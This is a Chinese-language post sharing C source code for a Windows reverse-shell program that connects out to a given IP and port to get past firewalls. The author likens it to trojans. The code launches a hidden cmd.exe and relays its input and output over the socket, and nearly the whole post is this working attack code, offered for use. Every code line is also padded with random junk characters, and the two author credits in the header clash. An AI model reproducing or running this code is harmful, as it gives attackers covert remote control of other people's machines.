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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H(Pzo+k*  
s;e%*4  
/* ============================== @`xR1pXQ  
Rebound port in Windows NT 6|:K1bI)  
By wind,2006/7 #J~   
===============================*/ bWWZGl9  
#include fm]mqO  
#include tAF#kBa\y_  
6C k 3tCr  
#pragma comment(lib,"wsock32.lib") %;/?DQU  
eocq Hwbv  
void OutputShell(); ;}1O\nngR  
SOCKET sClient; /|Z_Dy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i ]x_W@h  
;O8'vp  
void main(int argc,char **argv) O/Cwm;&t  
{ |`eHUtjH  
WSADATA stWsaData; zW#P ~zS  
int nRet; ZZq]I  
SOCKADDR_IN stSaiClient,stSaiServer; O:%s;p 5  
!-rG1VI_S*  
if(argc != 3) mO<1&{qMZ  
{ y/i{6P2`,D  
printf("Useage:\n\rRebound DestIP DestPort\n");  B0 E`C  
return; ;$,b w5  
} D8X~qt/  
^G(U@-0..  
WSAStartup(MAKEWORD(2,2),&stWsaData); =d`w~iC  
MTXh-9DA  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,/2&HZd  
9`y@2/!Y  
stSaiClient.sin_family = AF_INET; M`  V<`  
stSaiClient.sin_port = htons(0); Z<D8{&AjS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Xna58KF/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R*0]*\C z  
{ 7<GC{/^T  
printf("Bind Socket Failed!\n"); | KtI:n4d  
return; IVSOSl|  
} C(CwsdlP  
UOIB}ut V  
stSaiServer.sin_family = AF_INET; 56w uk [)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W {A4*{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J4?i\wD:  
M h"X9-Ot  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \!LIqqX  
{ /U26IbJ  
printf("Connect Error!"); )iX2r{  
return; U}T{r%9  
} moS0y?N  
OutputShell(); QjOO^6Fh  
} tNoPpIu  
CiWz>HWH  
void OutputShell() S^s|/!>  
{ \uPyvA =  
char szBuff[1024]; %(&$CmS@  
SECURITY_ATTRIBUTES stSecurityAttributes; CKI.\o  
OSVERSIONINFO stOsversionInfo; uM)#T*(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Znw3P|>B  
STARTUPINFO stStartupInfo; 8+i=u" <  
char *szShell; fHK.q({Qc  
PROCESS_INFORMATION stProcessInformation; &R5zt]4d&  
unsigned long lBytesRead; A=W:}szt]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }#r awVe=  
{x{~%)-  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7F2 WmMS  
stSecurityAttributes.lpSecurityDescriptor = 0; XEegUTs  
stSecurityAttributes.bInheritHandle = TRUE; ~+ kfb^<-  
3iM7c.f*/  
Vx z`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hT`fAn_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !mZDukfjQ  
?wP/l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]!q>@b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Um^4[rl:#g  
stStartupInfo.wShowWindow = SW_HIDE; 9;7Gzr6A"  
stStartupInfo.hStdInput = hReadPipe; )x+P9|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '8Cg2v5&w  
=kTHfdin&  
GetVersionEx(&stOsversionInfo); [*C%u_h  
 WD55(  
switch(stOsversionInfo.dwPlatformId) /:tzSKq}  
{ fUMjLA|*I<  
case 1: }W)b  
szShell = "command.com"; Jxf>!\:AZu  
break; W_L*S4 ~  
default: w_h{6Kc<  
szShell = "cmd.exe"; cgnMoBIc  
break; jB<B_"  
} oN2#Jh%dH  
xkCM*5:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /!?b&N/d)  
cJerYRjsL  
send(sClient,szMsg,77,0); r]@T9\9  
while(1) !(Ymc_s  
{ IR:GoD+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7Kf  
if(lBytesRead) jW]"Um-]  
{ Q6)?#7<jy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e |K_y~  
send(sClient,szBuff,lBytesRead,0); I cASzSjYX  
} m%0_fNSJ  
else N a$.VT  
{ =r4sF!g  
lBytesRead=recv(sClient,szBuff,1024,0); Mz.C`Z>o  
if(lBytesRead<=0) break; NH;e|8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \ZM5J  
} /qKA1-R}4  
} cLEd -{x  
-4[eZ>$A|  
return; 4E2#krE%  
}
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